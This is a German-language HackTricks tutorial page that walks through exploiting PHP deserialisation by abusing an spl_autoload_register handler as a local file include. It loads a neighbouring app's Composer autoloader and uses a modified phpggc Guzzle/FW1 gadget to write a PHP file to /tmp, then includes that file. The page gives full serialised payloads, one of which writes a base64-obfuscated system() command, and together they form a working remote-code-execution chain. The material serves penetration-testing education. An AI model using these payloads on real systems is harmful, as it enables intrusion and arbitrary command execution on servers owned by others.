5.9 KiB
PHP - Deserialisierung + Autoload-Klassen
{{#include ../../banners/hacktricks-training.md}}
Zuerst sollten Sie überprüfen, was Autoloading-Klassen sind.
PHP Deserialisierung + spl_autoload_register + LFI/Gadget
Wir befinden uns in einer Situation, in der wir eine PHP-Deserialisierung in einer Webanwendung gefunden haben, ohne dass eine Bibliothek anfällig für Gadgets innerhalb von phpggc
ist. In demselben Container gab es jedoch eine andere Composer-Webanwendung mit anfälligen Bibliotheken. Daher war das Ziel, den Composer-Loader der anderen Webanwendung zu laden und ihn auszunutzen, um ein Gadget zu laden, das diese Bibliothek mit einem Gadget aus der Webanwendung, die anfällig für Deserialisierung ist, auszunutzen.
Schritte:
- Sie haben eine Deserialisierung gefunden und es gibt kein Gadget im aktuellen Anwendungs-Code.
- Sie können eine
spl_autoload_register
-Funktion wie die folgende ausnutzen, um jede lokale Datei mit der.php
-Erweiterung zu laden. - Dazu verwenden Sie eine Deserialisierung, bei der der Name der Klasse in
$name
enthalten sein wird. Sie können "/" oder "." in einem Klassennamen in einem serialisierten Objekt nicht verwenden, aber der Code ersetzt die Unterstriche ("_") durch Schrägstriche ("/"). Ein Klassenname wietmp_passwd
wird in/tmp/passwd.php
umgewandelt und der Code wird versuchen, ihn zu laden.
Ein Gadget-Beispiel wäre:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
Tip
Wenn Sie einen Datei-Upload haben und eine Datei mit der
.php
-Erweiterung hochladen können, könnten Sie diese Funktionalität direkt ausnutzen und bereits RCE erhalten.
In meinem Fall hatte ich nichts dergleichen, aber es gab im gleichen Container eine andere Composer-Webseite mit einer Bibliothek, die anfällig für ein phpggc
-Gadget ist.
- Um diese andere Bibliothek zu laden, müssen Sie zuerst den Composer-Loader dieser anderen Webanwendung laden (da der der aktuellen Anwendung nicht auf die Bibliotheken der anderen zugreifen kann). Wenn Sie den Pfad der Anwendung kennen, können Sie dies sehr einfach erreichen mit:
O:28:"www_frontend_vendor_autoload":0:{}
(In meinem Fall war der Composer-Loader in/www/frontend/vendor/autoload.php
) - Jetzt können Sie den Composer-Loader der anderen App laden, also ist es Zeit, die
phpgcc
Payload zu generieren, die Sie verwenden möchten. In meinem Fall verwendete ichGuzzle/FW1
, das es mir ermöglichte, jede Datei im Dateisystem zu schreiben. - HINWEIS: Das generierte Gadget funktionierte nicht, damit es funktioniert, modifizierte ich diese Payload
chain.php
von phpggc und stellte alle Attribute der Klassen von privat auf öffentlich ein. Andernfalls hatten die Attribute der erstellten Objekte nach der Deserialisierung des Strings keine Werte. - Jetzt haben wir die Möglichkeit, den Composer-Loader der anderen App zu laden und eine funktionierende phpggc-Payload zu haben, aber wir müssen dies IM GLEICHEN ANFRAGE tun, damit der Loader geladen wird, wenn das Gadget verwendet wird. Dazu sendete ich ein serialisiertes Array mit beiden Objekten wie:
- Sie können zuerst sehen, wie der Loader geladen wird und dann die Payload
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
- Jetzt können wir eine Datei erstellen und schreiben, jedoch konnte der Benutzer in keinen Ordner innerhalb des Webservers schreiben. Wie Sie im Payload sehen können, wird PHP mit
system
und etwas base64 in/tmp/a.php
aufgerufen. Dann können wir den ersten Typ von Payload wiederverwenden, den wir als LFI verwendet haben, um den Composer-Loader der anderen Webanwendung zum Laden der generierten/tmp/a.php
-Datei zu laden. Fügen Sie es einfach dem Deserialisierungs-Gadget hinzu:
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
Zusammenfassung des Payloads
- Lade das Composer-Autoload einer anderen Webanwendung im selben Container
- Lade ein phpggc-Gadget, um eine Bibliothek der anderen Webanwendung auszunutzen (die ursprüngliche Webanwendung, die anfällig für Deserialisierung war, hatte keine Gadgets in ihren Bibliotheken)
- Das Gadget wird eine Datei mit einem PHP-Payload in /tmp/a.php mit bösartigen Befehlen erstellen (der Webanwendungsbenutzer kann in keinem Ordner einer Webanwendung schreiben)
- Der letzte Teil unseres Payloads wird die generierte PHP-Datei laden, die Befehle ausführt
Ich musste diese Deserialisierung zweimal aufrufen. In meinen Tests wurde beim ersten Mal die Datei /tmp/a.php
erstellt, aber nicht geladen, und beim zweiten Mal wurde sie korrekt geladen.
{{#include ../../banners/hacktricks-training.md}}